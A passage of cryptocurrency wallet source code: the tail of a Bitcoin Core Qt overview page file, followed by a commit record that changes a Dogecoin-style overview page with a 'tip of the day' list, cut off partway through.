mainRect.top()+ypad+halfheight, mainRect.width() - xspace, halfheight);\n        icon = platformStyle->SingleColorIcon(icon);\n        icon.paint(painter, decorationRect);\n\n        QDateTime date = index.data(TransactionTableModel::DateRole).toDateTime();\n        QString address = index.data(Qt::DisplayRole).toString();\n        qint64 amount = index.data(TransactionTableModel::AmountRole).toLongLong();\n        bool confirmed = index.data(TransactionTableModel::ConfirmedRole).toBool();\n        QVariant value = index.data(Qt::ForegroundRole);\n        QColor foreground = option.palette.color(QPalette::Text);\n        if(value.canConvert<QBrush>())\n        {\n            QBrush brush = qvariant_cast<QBrush>(value);\n            foreground = brush.color();\n        }\n\n        painter->setPen(foreground);\n        QRect boundingRect;\n        painter->drawText(addressRect, Qt::AlignLeft | Qt::AlignVCenter, address, &boundingRect);\n\n        if (index.data(TransactionTableModel::WatchonlyRole).toBool())\n        {\n            QIcon iconWatchonly = qvariant_cast<QIcon>(index.data(TransactionTableModel::WatchonlyDecorationRole));\n            QRect watchonlyRect(boundingRect.right() + 5, mainRect.top()+ypad+halfheight, 16, halfheight);\n            iconWatchonly = platformStyle->TextColorIcon(iconWatchonly);\n            iconWatchonly.paint(painter, watchonlyRect);\n        }\n\n        if(amount < 0)\n        {\n            foreground = COLOR_NEGATIVE;\n        }\n        else if(!confirmed)\n        {\n            foreground = COLOR_UNCONFIRMED;\n        }\n        else\n        {\n            foreground = option.palette.color(QPalette::Text);\n        }\n        painter->setPen(foreground);\n        QString amountText = BitcoinUnits::formatWithUnit(unit, amount, true, BitcoinUnits::SeparatorStyle::ALWAYS);\n        if(!confirmed)\n        {\n            amountText = QString(\"[\") + amountText + QString(\"]\");\n        }\n\n        QRect amount_bounding_rect;\n        painter->drawText(amountRect, Qt::AlignRight | Qt::AlignVCenter, amountText, &amount_bounding_rect);\n\n        painter->setPen(option.palette.color(QPalette::Text));\n        QRect date_bounding_rect;\n        painter->drawText(amountRect, Qt::AlignLeft | Qt::AlignVCenter, GUIUtil::dateTimeStr(date), &date_bounding_rect);\n\n        \/\/ 0.4*date_bounding_rect.width() is used to visually distinguish a date from an amount.\n        const int minimum_width = 1.4 * date_bounding_rect.width() + amount_bounding_rect.width();\n        const auto search = m_minimum_width.find(index.row());\n        if (search == m_minimum_width.end() || search->second != minimum_width) {\n            m_minimum_width[index.row()] = minimum_width;\n            Q_EMIT width_changed(index);\n        }\n\n        painter->restore();\n    }\n\n    inline QSize sizeHint(const QStyleOptionViewItem &option, const QModelIndex &index) const override\n    {\n        const auto search = m_minimum_width.find(index.row());\n        const int minimum_text_width = search == m_minimum_width.end() ? 0 : search->second;\n        return {DECORATION_SIZE + 8 + minimum_text_width, DECORATION_SIZE};\n    }\n\n    int unit;\n\nQ_SIGNALS:\n    \/\/! An intermediate signal for emitting from the `paint() const` member function.\n    void width_changed(const QModelIndex& index) const;\n\nprivate:\n    const PlatformStyle* platformStyle;\n    mutable std::map<int, int> m_minimum_width;\n};\n\n#include <qt\/overviewpage.moc>\n\nOverviewPage::OverviewPage(const PlatformStyle *platformStyle, QWidget *parent) :\n    QWidget(parent),\n    ui(new Ui::OverviewPage),\n    clientModel(nullptr),\n    walletModel(nullptr),\n    m_platform_style{platformStyle},\n    txdelegate(new TxViewDelegate(platformStyle, this))\n{\n    ui->setupUi(this);\n\n    m_balances.balance = -1;\n\n    \/\/ use a SingleColorIcon for the \"out of sync warning\" icon\n    QIcon icon = m_platform_style->SingleColorIcon(QStringLiteral(\":\/icons\/warning\"));\n    ui->labelTransactionsStatus->setIcon(icon);\n    ui->labelWalletStatus->setIcon(icon);\n\n    \/\/ Recent transactions\n    ui->listTransactions->setItemDelegate(txdelegate);\n    ui->listTransactions->setIconSize(QSize(DECORATION_SIZE, DECORATION_SIZE));\n    ui->listTransactions->setMinimumHeight(NUM_ITEMS * (DECORATION_SIZE + 2));\n    ui->listTransactions->setAttribute(Qt::WA_MacShowFocusRect, false);\n\n    connect(ui->listTransactions, &TransactionOverviewWidget::clicked, this, &OverviewPage::handleTransactionClicked);\n\n    \/\/ start with displaying the \"out of sync\" warnings\n    showOutOfSyncWarning(true);\n    connect(ui->labelWalletStatus, &QPushButton::clicked, this, &OverviewPage::outOfSyncWarningClicked);\n    connect(ui->labelTransactionsStatus, &QPushButton::clicked, this, &OverviewPage::outOfSyncWarningClicked);\n}\n\nvoid OverviewPage::handleTransactionClicked(const QModelIndex &index)\n{\n    if(filter)\n        Q_EMIT transactionClicked(filter->mapToSource(index));\n}\n\nvoid OverviewPage::setPrivacy(bool privacy)\n{\n    m_privacy = privacy;\n    if (m_balances.balance != -1) {\n        setBalance(m_balances);\n    }\n\n    ui->listTransactions->setVisible(!m_privacy);\n\n    const QString status_tip = m_privacy ? tr(\"Privacy mode activated for the Overview tab. To unmask the values, uncheck Settings->Mask values.\") : \"\";\n    setStatusTip(status_tip);\n    QStatusTipEvent event(status_tip);\n    QApplication::sendEvent(this, &event);\n}\n\nOverviewPage::~OverviewPage()\n{\n    delete ui;\n}\n\nvoid OverviewPage::setBalance(const interfaces::WalletBalances& balances)\n{\n    int unit = walletModel->getOptionsModel()->getDisplayUnit();\n    m_balances = balances;\n    if (walletModel->wallet().isLegacy()) {\n        if (walletModel->wallet().privateKeysDisabled()) {\n            ui->labelBalance->setText(BitcoinUnits::formatWithPrivacy(unit, balances.watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelUnconfirmed->setText(BitcoinUnits::formatWithPrivacy(unit, balances.unconfirmed_watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelImmature->setText(BitcoinUnits::formatWithPrivacy(unit, balances.immature_watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelTotal->setText(BitcoinUnits::formatWithPrivacy(unit, balances.watch_only_balance + balances.unconfirmed_watch_only_balance + balances.immature_watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n        } else {\n            ui->labelBalance->setText(BitcoinUnits::formatWithPrivacy(unit, balances.balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelUnconfirmed->setText(BitcoinUnits::formatWithPrivacy(unit, balances.unconfirmed_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelImmature->setText(BitcoinUnits::formatWithPrivacy(unit, balances.immature_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelTotal->setText(BitcoinUnits::formatWithPrivacy(unit, balances.balance + balances.unconfirmed_balance + balances.immature_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelWatchAvailable->setText(BitcoinUnits::formatWithPrivacy(unit, balances.watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelWatchPending->setText(BitcoinUnits::formatWithPrivacy(unit, balances.unconfirmed_watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelWatchImmature->setText(BitcoinUnits::formatWithPrivacy(unit, balances.immature_watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelWatchTotal->setText(BitcoinUnits::formatWithPrivacy(unit, balances.watch_only_balance + balances.unconfirmed_watch_only_balance + balances.immature_watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n        }\n    } else {\n        ui->labelBalance->setText(BitcoinUnits::formatWithPrivacy(unit, balances.balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n        ui->labelUnconfirmed->setText(BitcoinUnits::formatWithPrivacy(unit, balances.unconfirmed_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n        ui->labelImmature->setText(BitcoinUnits::formatWithPrivacy(unit, balances.immature_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n        ui->labelTotal->setText(BitcoinUnits::formatWithPrivacy(unit, balances.balance + balances.unconfirmed_balance + balances.immature_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n    }\n    \/\/ only show immature (newly mined) balance if it's non-zero, so as not to complicate things\n    \/\/ for the non-mining users\n    bool showImmature = balances.immature_balance != 0;\n    bool showWatchOnlyImmature = balances.immature_watch_only_balance != 0;\n\n    \/\/ for symmetry reasons also show immature label when the watch-only one is shown\n    ui->labelImmature->setVisible(showImmature || showWatchOnlyImmature);\n    ui->labelImmatureText->setVisible(showImmature || showWatchOnlyImmature);\n    ui->labelWatchImmature->setVisible(!walletModel->wallet().privateKeysDisabled() && showWatchOnlyImmature); \/\/ show watch-only immature balance\n}\n\n\/\/ show\/hide watch-only labels\nvoid OverviewPage::updateWatchOnlyLabels(bool showWatchOnly)\n{\n    ui->labelSpendable->setVisible(showWatchOnly);      \/\/ show spendable label (only when watch-only is active)\n    ui->labelWatchonly->setVisible(showWatchOnly);      \/\/ show watch-only label\n    ui->lineWatchBalance->setVisible(showWatchOnly);    \/\/ show watch-only balance separator line\n    ui->labelWatchAvailable->setVisible(showWatchOnly); \/\/ show watch-only available balance\n    ui->labelWatchPending->setVisible(showWatchOnly);   \/\/ show watch-only pending balance\n    ui->labelWatchTotal->setVisible(showWatchOnly);     \/\/ show watch-only total balance\n\n    if (!showWatchOnly)\n        ui->labelWatchImmature->hide();\n}\n\nvoid OverviewPage::setClientModel(ClientModel *model)\n{\n    this->clientModel = model;\n    if (model) {\n        \/\/ Show warning, for example if this is a prerelease version\n        connect(model, &ClientModel::alertsChanged, this, &OverviewPage::updateAlerts);\n        updateAlerts(model->getStatusBarWarnings());\n\n        connect(model->getOptionsModel(), &OptionsModel::useEmbeddedMonospacedFontChanged, this, &OverviewPage::setMonospacedFont);\n        setMonospacedFont(model->getOptionsModel()->getUseEmbeddedMonospacedFont());\n    }\n}\n\nvoid OverviewPage::setWalletModel(WalletModel *model)\n{\n    this->walletModel = model;\n    if(model && model->getOptionsModel())\n    {\n        \/\/ Set up transaction list\n        filter.reset(new TransactionFilterProxy());\n        filter->setSourceModel(model->getTransactionTableModel());\n        filter->setLimit(NUM_ITEMS);\n        filter->setDynamicSortFilter(true);\n        filter->setSortRole(Qt::EditRole);\n        filter->setShowInactive(false);\n        filter->sort(TransactionTableModel::Date, Qt::DescendingOrder);\n\n        ui->listTransactions->setModel(filter.get());\n        ui->listTransactions->setModelColumn(TransactionTableModel::ToAddress);\n\n        \/\/ Keep up to date with wallet\n        interfaces::Wallet& wallet = model->wallet();\n        interfaces::WalletBalances balances = wallet.getBalances();\n        setBalance(balances);\n        connect(model, &WalletModel::balanceChanged, this, &OverviewPage::setBalance);\n\n        connect(model->getOptionsModel(), &OptionsModel::displayUnitChanged, this, &OverviewPage::updateDisplayUnit);\n\n        updateWatchOnlyLabels(wallet.haveWatchOnly() && !model->wallet().privateKeysDisabled());\n        connect(model, &WalletModel::notifyWatchonlyChanged, [this](bool showWatchOnly) {\n            updateWatchOnlyLabels(showWatchOnly && !walletModel->wallet().privateKeysDisabled());\n        });\n    }\n\n    \/\/ update the display unit, to not use the default (\"BTC\")\n    updateDisplayUnit();\n}\n\nvoid OverviewPage::changeEvent(QEvent* e)\n{\n#ifdef Q_OS_MACOS\n    if (e->type() == QEvent::PaletteChange) {\n        QIcon icon = m_platform_style->SingleColorIcon(QStringLiteral(\":\/icons\/warning\"));\n        ui->labelTransactionsStatus->setIcon(icon);\n        ui->labelWalletStatus->setIcon(icon);\n    }\n#endif\n}\n\nvoid OverviewPage::updateDisplayUnit()\n{\n    if(walletModel && walletModel->getOptionsModel())\n    {\n        if (m_balances.balance != -1) {\n            setBalance(m_balances);\n        }\n\n        \/\/ Update txdelegate->unit with the current unit\n        txdelegate->unit = walletModel->getOptionsModel()->getDisplayUnit();\n\n        ui->listTransactions->update();\n    }\n}\n\nvoid OverviewPage::updateAlerts(const QString &warnings)\n{\n    this->ui->labelAlerts->setVisible(!warnings.isEmpty());\n    this->ui->labelAlerts->setText(warnings);\n}\n\nvoid OverviewPage::showOutOfSyncWarning(bool fShow)\n{\n    ui->labelWalletStatus->setVisible(fShow);\n    ui->labelTransactionsStatus->setVisible(fShow);\n}\n\nvoid OverviewPage::setMonospacedFont(bool use_embedded_font)\n{\n    QFont f = GUIUtil::fixedPitchFont(use_embedded_font);\n    f.setWeight(QFont::Bold);\n    ui->labelBalance->setFont(f);\n    ui->labelUnconfirmed->setFont(f);\n    ui->labelImmature->setFont(f);\n    ui->labelTotal->setFont(f);\n    ui->labelWatchAvailable->setFont(f);\n    ui->labelWatchPending->setFont(f);\n    ui->labelWatchImmature->setFont(f);\n    ui->labelWatchTotal->setFont(f);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011-2016 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"overviewpage.h\"\n#include \"ui_overviewpage.h\"\n\n#include \"bitcoinunits.h\"\n#include \"clientmodel.h\"\n#include \"clientversion.h\"\n#include \"guiconstants.h\"\n#include \"guiutil.h\"\n#include \"optionsmodel.h\"\n#include \"platformstyle.h\"\n#include \"transactionfilterproxy.h\"\n#include \"transactiontablemodel.h\"\n#include \"walletmodel.h\"\n\n#include <QAbstractItemDelegate>\n#include <QPainter>\n\n#define DECORATION_SIZE 54\n#define NUM_ITEMS 5\n\nclass TxViewDelegate : public QAbstractItemDelegate\n{\n    Q_OBJECT\npublic:\n    TxViewDelegate(const PlatformStyle *_platformStyle, QObject *parent=nullptr):\n        QAbstractItemDelegate(parent), unit(BitcoinUnits::BTC),\n        platformStyle(_platformStyle)\n    {\n\n    }\n\n    inline void paint(QPainter *painter, const QStyleOptionViewItem &option,\n                      const QModelIndex &index ) const\n    {\n        painter->save();\n\n        QIcon icon = qvariant_cast<QIcon>(index.data(TransactionTableModel::RawDecorationRole));\n        QRect mainRect = option.rect;\n        QRect decorationRect(mainRect.topLeft(), QSize(DECORATION_SIZE, DECORATION_SIZE));\n        int xspace = DECORATION_SIZE + 8;\n        int ypad = 6;\n        int halfheight = (mainRect.height() - 2*ypad)\/2;\n        QRect amountRect(mainRect.left() + xspace, mainRect.top()+ypad, mainRect.width() - xspace, halfheight);\n        QRect addressRect(mainRect.left() + xspace, mainRect.top()+ypad+halfheight, mainRect.width() - xspace, halfheight);\n        icon = platformStyle->SingleColorIcon(icon);\n        icon.paint(painter, decorationRect);\n\n        QDateTime date = index.data(TransactionTableModel::DateRole).toDateTime();\n        QString address = index.data(Qt::DisplayRole).toString();\n        qint64 amount = index.data(TransactionTableModel::AmountRole).toLongLong();\n        bool confirmed = index.data(TransactionTableModel::ConfirmedRole).toBool();\n        QVariant value = index.data(Qt::ForegroundRole);\n        QColor foreground = option.palette.color(QPalette::Text);\n        if(value.canConvert<QBrush>())\n        {\n            QBrush brush = qvariant_cast<QBrush>(value);\n            foreground = brush.color();\n        }\n\n        painter->setPen(foreground);\n        QRect boundingRect;\n        painter->drawText(addressRect, Qt::AlignLeft|Qt::AlignVCenter, address, &boundingRect);\n\n        if (index.data(TransactionTableModel::WatchonlyRole).toBool())\n        {\n            QIcon iconWatchonly = qvariant_cast<QIcon>(index.data(TransactionTableModel::WatchonlyDecorationRole));\n            QRect watchonlyRect(boundingRect.right() + 5, mainRect.top()+ypad+halfheight, 16, halfheight);\n            iconWatchonly.paint(painter, watchonlyRect);\n        }\n\n        if(amount < 0)\n        {\n            foreground = COLOR_NEGATIVE;\n        }\n        else if(!confirmed)\n        {\n            foreground = COLOR_UNCONFIRMED;\n        }\n        else\n        {\n            foreground = option.palette.color(QPalette::Text);\n        }\n        painter->setPen(foreground);\n        QString amountText = BitcoinUnits::formatWithUnit(unit, amount, true, BitcoinUnits::separatorAlways);\n        if(!confirmed)\n        {\n            amountText = QString(\"[\") + amountText + QString(\"]\");\n        }\n        painter->drawText(amountRect, Qt::AlignRight|Qt::AlignVCenter, amountText);\n\n        painter->setPen(option.palette.color(QPalette::Text));\n        painter->drawText(amountRect, Qt::AlignLeft|Qt::AlignVCenter, GUIUtil::dateTimeStr(date));\n\n        painter->restore();\n    }\n\n    inline QSize sizeHint(const QStyleOptionViewItem &option, const QModelIndex &index) const\n    {\n        return QSize(DECORATION_SIZE, DECORATION_SIZE);\n    }\n\n    int unit;\n    const PlatformStyle *platformStyle;\n\n};\n#include \"overviewpage.moc\"\n\nOverviewPage::OverviewPage(const PlatformStyle *platformStyle, QWidget *parent) :\n    QWidget(parent),\n    ui(new Ui::OverviewPage),\n    clientModel(0),\n    walletModel(0),\n    currentBalance(-1),\n    currentUnconfirmedBalance(-1),\n    currentImmatureBalance(-1),\n    currentWatchOnlyBalance(-1),\n    currentWatchUnconfBalance(-1),\n    currentWatchImmatureBalance(-1),\n    txdelegate(new TxViewDelegate(platformStyle, this))\n{\n    ui->setupUi(this);\n\n    \/\/ use a SingleColorIcon for the \"out of sync warning\" icon\n    QIcon icon = platformStyle->SingleColorIcon(\":\/icons\/warning\");\n    icon.addPixmap(icon.pixmap(QSize(64,64), QIcon::Normal), QIcon::Disabled); \/\/ also set the disabled icon because we are using a disabled QPushButton to work around missing HiDPI support of QLabel (https:\/\/bugreports.qt.io\/browse\/QTBUG-42503)\n    ui->labelTransactionsStatus->setIcon(icon);\n    ui->labelWalletStatus->setIcon(icon);\n\n    \/\/set the current version\n    ui->label_wallet_version_overlay->setText(QString::fromStdString(FormatFullVersion()));\n\n    \/\/ Set tip of the day\n    UpdateTip();\n\n    \/\/ Recent transactions\n    ui->listTransactions->setItemDelegate(txdelegate);\n    ui->listTransactions->setIconSize(QSize(DECORATION_SIZE, DECORATION_SIZE));\n    ui->listTransactions->setMinimumHeight(NUM_ITEMS * (DECORATION_SIZE + 2));\n    ui->listTransactions->setAttribute(Qt::WA_MacShowFocusRect, false);\n\n    connect(ui->listTransactions, SIGNAL(clicked(QModelIndex)), this, SLOT(handleTransactionClicked(QModelIndex)));\n\n    \/\/ start with displaying the \"out of sync\" warnings\n    showOutOfSyncWarning(true);\n    connect(ui->labelWalletStatus, SIGNAL(clicked()), this, SLOT(handleOutOfSyncWarningClicks()));\n    connect(ui->labelTransactionsStatus, SIGNAL(clicked()), this, SLOT(handleOutOfSyncWarningClicks()));\n}\n\nvoid OverviewPage::UpdateTip()\n{\n    QStringList tips = {\n        tr(\"Never share your wallet.dat file\/your private key with anyone\"),\n        tr(\"For more advanced settings use the console in 'Help' -> 'Debug Window'\"),\n        tr(\"Encrypt your wallet with a strong passphrase for maximum security\"),\n        tr(\"Make sure to keep your wallet updated.\"),\n        tr(\"Backup your private key to recover your coins, using 'File' > 'Backup Wallet'\"),\n        tr(\"Always do your own research before using an external cryptocurrency service\"),\n        tr(\"Never share your private key to an untrustworthy person.\"),\n        tr(\"Who own the private keys own the coins.\"),\n        tr(\"To see ongoing development and contribute, checkout Dogecoin repository on GitHub!\"),\n        tr(\"Services that claim to double your dogecoins are always ponzi schemes\")\n    };\n\n    int i = rand() % tips.length();\n    ui->label_tip->setText(tips[i]);\n}\n\nvoid OverviewPage::handleTransactionClicked(const QModelIndex &index)\n{\n    if(filter)\n        Q_EMIT transactionClicked(filter->mapToSource(index));\n}\n\nvoid OverviewPage::handleOutOfSyncWarningClicks()\n{\n    Q_EMIT outOfSyncWarningClicked();\n}\n\nOverviewPage::~OverviewPage()\n{\n    delete ui;\n}\n\nvoid OverviewPage::setBalance(const CAmount& balance, const CAmount& unconfirmedBalance, const CAmount& immatureBalance, const CAmount& watchOnlyBalance, const CAmount& watchUnconfBalance, const CAmount& watchImmatureBalance)\n{\n    int unit = walletModel->getOptionsModel()->getDisplayUnit();\n    currentBalance = balance;\n    currentUnconfirmedBalance = unconfirmedBalance;\n    currentImmatureBalance = immatureBalance;\n    currentWatchOnlyBalance = watchOnlyBalance;\n    currentWatchUnconfBalance = watchUnconfBalance;\n    currentWatchImmatureBalance = watchImmatureBalance;\n    ui->labelBalance->setText(BitcoinUnits::formatWithUnit(unit, balance, false, BitcoinUnits::separatorAlways));\n    ui->labelUnconfirmed->setText(BitcoinUnits::formatWithUnit(unit, unconfirmedBalance, false, BitcoinUnits::separatorAlways));\n    ui->labelImmature->setText(BitcoinUnits::formatWithUnit(unit, immatureBalance, false, BitcoinUnits::separatorAlways));\n    ui->labelTotal->setText(BitcoinUnits::formatWithUnit(unit, balance + unconfirmedBalance + immatureBalance, false, BitcoinUnits::separatorAlways));\n    ui->labelWatchAvailable->setText(BitcoinUnits::formatWithUnit(unit, watchOnlyBalance, false, BitcoinUnits::separatorAlways));\n    ui->labelWatchPending->setText(BitcoinUnits::formatWithUnit(unit, watchUnconfBalance, false, BitcoinUnits::separatorAlways));\n    ui->labelWatchImmature->setText(BitcoinUnits::formatWithUnit(unit, watchImmatureBalance, false, BitcoinUnits::separatorAlways));\n    ui->labelWatchTotal->setText(BitcoinUnits::formatWithUnit(unit, watchOnlyBalance + watchUnconfBalance + watchImmatureBalance, false, BitcoinUnits::separatorAlways));\n\n    \/\/ only show immature (newly mined) balance if it's non-zero, so as not to complicate things\n    \/\/ for the non-mining users\n    bool showImmature = immatureBalance != 0;\n    bool showWatchOnlyImmature = watchImmatureBalance != 0;\n\n    \/\/ for symmetry reasons also show immature label when the watch-only one is shown\n    ui->labelImmature->setVisible(showImmature || showWatchOnlyImmature);\n    ui->labelImmatureText->setVisible(showImmature || showWatchOnlyImmature);\n    ui->labelWatchImmature->setVisible(showWatchOnlyImmature); \/\/ show watch-only immature balance\n}\n\n\/\/ show\/hide watch-only labels\nvoid OverviewPage::updateWatchOnlyLabels(bool showWatchOnly)\n{\n    ui->labelSpendable->setVisible(showWatchOnly);      \/\/ show spendable label (only when watch-only is active)\n    ui->labelWatchonly->setVisible(showWatchOnly);      \/\/ show watch-only label\n    ui->lineWatchBalance->setVisible(showWatchOnly);    \/\/ show watch-only balance separator line\n    ui->labelWatchAvailable->setVisible(showWatchOnly); \/\/ show watch-only available balance\n    ui->labelWatchPending->setVisible(showWatchOnly);   \/\/ show watch-only pending balance\n    ui->labelWatchTotal->setVisible(showWatchOnly);     \/\/ show watch-only total balance\n\n    if (!showWatchOnly)\n        ui->labelWatchImmature->hide();\n}\n\nvoid OverviewPage::setClientModel(ClientModel *model)\n{\n    this->clientModel = model;\n    if(model)\n    {\n        \/\/ Show warning if this is a prerelease version\n        connect(model, SIGNAL(alertsChanged(QString)), this, SLOT(updateAlerts(QString)));\n        updateAlerts(model->getStatusBarWarnings());\n    }\n}\n\nvoid OverviewPage::setWalletModel(WalletModel *model)\n{\n    this->walletModel = model;\n    if(model && model->getOptionsModel())\n    {\n        \/\/ Set up transaction list\n        filter.reset(new TransactionFilterProxy());\n        filter->setSourceModel(model->getTransactionTableModel());\n        filter->setLimit(NUM_ITEMS);\n        filter->setDynamicSortFilter(true);\n        filter->setSortRole(Qt::EditRole);\n        filter->setShowInactive(false);\n        filter->sort(TransactionTableModel::Date, Qt::DescendingOrder);\n\n        ui->listTransactions->setModel(filter.get());\n        ui->listTransactions->setModelColumn(TransactionTableModel::ToAddress);\n\n        \/\/ Keep up to date with wallet\n        setBalance(model->getBalance(), model->getUnconfirmedBalance(), model->getImmatureBalance(),\n                   model->getWatchBalance(), model->getWatchUnconfirmedBalance(), model->getWatchImmatureBalance());\n        connect(model, SIGNAL(balanceChanged(CAmount,CAmount,CAmount,CAmount,CAmount,CAmount)), this, SLOT(setBalance(CAmount,CAmount,CAmount,CAmount,CAmount,CAmount)));\n\n        connect(model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit()));\n\n        updateWatchOnlyLabels(model->haveWatchOnly());\n        connect(model, SIGNAL(notifyWatchonlyChanged(bool)), this, SLOT(updateWatchOnlyLabels(bool)));\n    }\n\n    \/\/ update the display unit, to not use the default (\"BTC\")\n    updateDisplayUnit();\n}\n\nvoid OverviewPage::updateDisplayUnit()\n{\n    if(walletModel && walletModel->getOptionsModel())\n    {\n        if(currentBalance != -1)\n            setBalance(currentBalance, currentUnconfirmedBalance, currentImmatureBalance,\n                       currentWatchOnlyBalance, currentWatchUnconfBalance, currentWatchImmatureBalance);\n\n        \/\/ Update txdelegate->unit with the current unit\n        txdelegate->unit = walletModel->getOptionsModel()->getDisplayUnit();\n\n        ui->listTransactions->update();\n    }\n}\n\nvoid OverviewPage::updateAlerts(const QString &warnings)\n{\n    this->ui->labelAlerts->setVisible(!warnings.isEmpty());\n    this->ui->labelAlerts->setText(warnings);\n}\n\nvoid OverviewPage::showOutOfSyncWarning(bool fShow)\n{\n    ui->labelWalletStatus->setVisible(fShow);\n    ui->labelTransactionsStatus->setVisible(fShow);\n}\n<commit_msg>fix a grammar problem<commit_after>\/\/ Copyright (c) 2011-2016 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"overviewpage.h\"\n#include \"ui_overviewpage.h\"\n\n#include \"bitcoinunits.h\"\n#include \"clientmodel.h\"\n#include \"clientversion.h\"\n#include \"guiconstants.h\"\n#include \"guiutil.h\"\n#include \"optionsmodel.h\"\n#include \"platformstyle.h\"\n#include \"transactionfilterproxy.h\"\n#include \"transactiontablemodel.h\"\n#include \"walletmodel.h\"\n\n#include <QAbstractItemDelegate>\n#include <QPainter>\n\n#define DECORATION_SIZE 54\n#define NUM_ITEMS 5\n\nclass TxViewDelegate : public QAbstractItemDelegate\n{\n    Q_OBJECT\npublic:\n    TxViewDelegate(const PlatformStyle *_platformStyle, QObject *parent=nullptr):\n        QAbstractItemDelegate(parent), unit(BitcoinUnits::BTC),\n        platformStyle(_platformStyle)\n    {\n\n    }\n\n    inline void paint(QPainter *painter, const QStyleOptionViewItem &option,\n                      const QModelIndex &index ) const\n    {\n        painter->save();\n\n        QIcon icon = qvariant_cast<QIcon>(index.data(TransactionTableModel::RawDecorationRole));\n        QRect mainRect = option.rect;\n        QRect decorationRect(mainRect.topLeft(), QSize(DECORATION_SIZE, DECORATION_SIZE));\n        int xspace = DECORATION_SIZE + 8;\n        int ypad = 6;\n        int halfheight = (mainRect.height() - 2*ypad)\/2;\n        QRect amountRect(mainRect.left() + xspace, mainRect.top()+ypad, mainRect.width() - xspace, halfheight);\n        QRect addressRect(mainRect.left() + xspace, mainRect.top()+ypad+halfheight, mainRect.width() - xspace, halfheight);\n        icon = platformStyle->SingleColorIcon(icon);\n        icon.paint(painter, decorationRect);\n\n        QDateTime date = index.data(TransactionTableModel::DateRole).toDateTime();\n        QString address = index.data(Qt::DisplayRole).toString();\n        qint64 amount = index.data(TransactionTableModel::AmountRole).toLongLong();\n        bool confirmed = index.data(TransactionTableModel::ConfirmedRole).toBool();\n        QVariant value = index.data(Qt::ForegroundRole);\n        QColor foreground = option.palette.color(QPalette::Text);\n        if(value.canConvert<QBrush>())\n        {\n            QBrush brush = qvariant_cast<QBrush>(value);\n            foreground = brush.color();\n        }\n\n        painter->setPen(foreground);\n        QRect boundingRect;\n        painter->drawText(addressRect, Qt::AlignLeft|Qt::AlignVCenter, address, &boundingRect);\n\n        if (index.data(TransactionTableModel::WatchonlyRole).toBool())\n        {\n            QIcon iconWatchonly = qvariant_cast<QIcon>(index.data(TransactionTableModel::WatchonlyDecorationRole));\n            QRect watchonlyRect(boundingRect.right() + 5, mainRect.top()+ypad+halfheight, 16, halfheight);\n            iconWatchonly.paint(painter, watchonlyRect);\n        }\n\n        if(amount < 0)\n        {\n            foreground = COLOR_NEGATIVE;\n        }\n        else if(!confirmed)\n        {\n            foreground = COLOR_UNCONFIRMED;\n        }\n        else\n        {\n            foreground = option.palette.color(QPalette::Text);\n        }\n        painter->setPen(foreground);\n        QString amountText = BitcoinUnits::formatWithUnit(unit, amount, true, BitcoinUnits::separatorAlways);\n        if(!confirmed)\n        {\n            amountText = QString(\"[\") + amountText + QString(\"]\");\n        }\n        painter->drawText(amountRect, Qt::AlignRight|Qt::AlignVCenter, amountText);\n\n        painter->setPen(option.palette.color(QPalette::Text));\n        painter->drawText(amountRect, Qt::AlignLeft|Qt::AlignVCenter, GUIUtil::dateTimeStr(date));\n\n        painter->restore();\n    }\n\n    inline QSize sizeHint(const QStyleOptionViewItem &option, const QModelIndex &index) const\n    {\n        return QSize(DECORATION_SIZE, DECORATION_SIZE);\n    }\n\n    int unit;\n    const PlatformStyle *platformStyle;\n\n};\n#include \"overviewpage.moc\"\n\nOverviewPage::OverviewPage(const PlatformStyle *platformStyle, QWidget *parent) :\n    QWidget(parent),\n    ui(new Ui::OverviewPage),\n    clientModel(0),\n    walletModel(0),\n    currentBalance(-1),\n    currentUnconfirmedBalance(-1),\n    currentImmatureBalance(-1),\n    currentWatchOnlyBalance(-1),\n    currentWatchUnconfBalance(-1),\n    currentWatchImmatureBalance(-1),\n    txdelegate(new TxViewDelegate(platformStyle, this))\n{\n    ui->setupUi(this);\n\n    \/\/ use a SingleColorIcon for the \"out of sync warning\" icon\n    QIcon icon = platformStyle->SingleColorIcon(\":\/icons\/warning\");\n    icon.addPixmap(icon.pixmap(QSize(64,64), QIcon::Normal), QIcon::Disabled); \/\/ also set the disabled icon because we are using a disabled QPushButton to work around missing HiDPI support of QLabel (https:\/\/bugreports.qt.io\/browse\/QTBUG-42503)\n    ui->labelTransactionsStatus->setIcon(icon);\n    ui->labelWalletStatus->setIcon(icon);\n\n    \/\/set the current version\n    ui->label_wallet_version_overlay->setText(QString::fromStdString(FormatFullVersion()));\n\n    \/\/ Set tip of the day\n    UpdateTip();\n\n    \/\/ Recent transactions\n    ui->listTransactions->setItemDelegate(txdelegate);\n    ui->listTransactions->setIconSize(QSize(DECORATION_SIZE, DECORATION_SIZE));\n    